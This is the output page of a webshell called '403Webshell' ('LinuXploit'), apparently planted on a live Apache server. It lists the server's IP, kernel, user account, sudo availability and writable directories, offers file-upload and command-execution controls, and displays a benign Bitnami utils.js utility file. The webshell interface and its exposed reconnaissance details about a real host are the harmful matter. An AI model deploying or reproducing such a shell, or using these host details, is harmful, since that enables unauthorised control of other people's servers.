403Webshell
Server IP : 54.250.94.235  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux ip-172-26-8-22 6.1.0-41-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/lib/utils.js
"use strict";
/*
 * Copyright VMware, Inc.
 * SPDX-License-Identifier: GPL-2.0-only
 */
Object.defineProperty(exports, "__esModule", { value: true });
exports.askQuestion = exports.generateRandomPassword = exports.resolveHostname = exports.retry = exports.delayMs = exports.createHashAsHex = void 0;
const crypto = require("crypto");
const dns_1 = require("dns");
const readline = require("readline");
function createHashAsHex(input, type) {
    const hash = crypto.createHash(type || "sha256");
    hash.update(input);
    return hash.digest("hex");
}
exports.createHashAsHex = createHashAsHex;
async function delayMs(milliseconds) {
    return new Promise((resolve) => setTimeout(resolve, milliseconds));
}
exports.delayMs = delayMs;
async function retry(callback, options) {
    let i = 1;
    let result;
    options = Object.assign({
        attempts: 5,
        delay: 10,
        errorMessage: "Unable to perform operation"
    }, options);
    while (i <= options.attempts) {
        try {
            result = callback();
            if (result instanceof Promise) {
                result = await result;
            }
        }
        catch (e) {
            if (options.logger) {
                options.logger.warn(options.errorMessage, e);
            }
            if (i === options.attempts) {
                throw e;
            }
            await delayMs(options.delay * 1000);
            i += 1;
            continue;
        }
        break;
    }
    return result;
}
exports.retry = retry;
/**
 * Helper to resolve hostname to IP address as a promise
 * if options or family is not specified, it tries to resolve IPv4 first, then IPv6
 * @param name Hostname or IP address
 * @param options Options to pass to resolve function from mdns
 */
async function resolveHostname(name, options) {
    // resolve hostname, try resolving IPv4 first
    if ((!options) || (!(options.family))) {
        let result;
        result = await resolveHostname(name, Object.assign({ family: 4 }, options));
        if (result) {
            return result;
        }
        return resolveHostname(name, Object.assign({ family: 6 }, options));
    }
    return new Promise((resolve, reject) => {
        let timer;
        if (options.timeout) {
            timer = setTimeout(() => {
                reject(new Error(`Resolving ${name} has timed out`));
            }, options.timeout);
        }
        dns_1.lookup(name, options, function (err, address, family) {
            if (timer) {
                // clean up any pending resources
                clearTimeout(timer);
            }
            if (err) {
                reject(err);
            }
            else {
                resolve(address);
            }
        });
    });
}
exports.resolveHostname = resolveHostname;
/**
 * Generate password in a secure way, using /dev/random or /dev/urandom as input if they are
 * available ;
 * the password will always contain an upper case character, lower case character and a digit
 * @param length number of characters the password should contain
 */
function generateRandomPassword(length) {
    let result = "";
    while (!((result.match(/[A-Z]/) && result.match(/[a-z]/) && result.match(/[0-9]/)))) {
        result = "";
        while (result.length < length) {
            result += crypto.pseudoRandomBytes(Math.max(length, 32)).toString().replace(/[^a-zA-Z0-9]/g, "");
        }
        result = result.slice(0, length);
    }
    return result;
}
exports.generateRandomPassword = generateRandomPassword;
;
/**
 * Ask a question
 */
async function askQuestion(message, options) {
    let answer;
    let readlineInterface = readline.createInterface({
        input: process.stdin,
        output: process.stdout
    });
    options = Object.assign({ type: "boolean" }, options);
    return new Promise(async (resolve, reject) => {
        if (options.type === "boolean") {
            while (true) {
                let line = await new Promise(resolve => {
                    readlineInterface.question(`${message}? [y/N]\n`, (answer) => {
                        readlineInterface.close();
                        resolve(answer.trim().toLowerCase());
                    });
                });
                if ((line[0] === "y") || (line[0] === "t")) {
                    resolve(true);
                    break;
                }
                else {
                    resolve(false);
                    break;
                }
            }
        }
        else {
            reject(`Unable to handle output for ${options.type} question`);
        }
    });
}
exports.askQuestion = askQuestion;

Youez - 2016 - github.com/yon3zu
LinuXploit